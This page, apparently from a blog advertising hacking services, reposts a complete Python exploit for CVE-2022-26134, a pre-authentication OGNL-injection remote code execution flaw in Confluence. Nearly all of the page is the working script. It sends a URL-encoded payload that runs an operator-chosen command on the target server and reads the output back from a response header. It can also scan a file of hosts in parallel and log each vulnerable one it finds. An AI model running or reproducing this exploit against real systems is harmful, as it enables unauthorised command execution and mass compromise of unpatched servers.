Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863569222

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

#!/usr/bin/python3

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()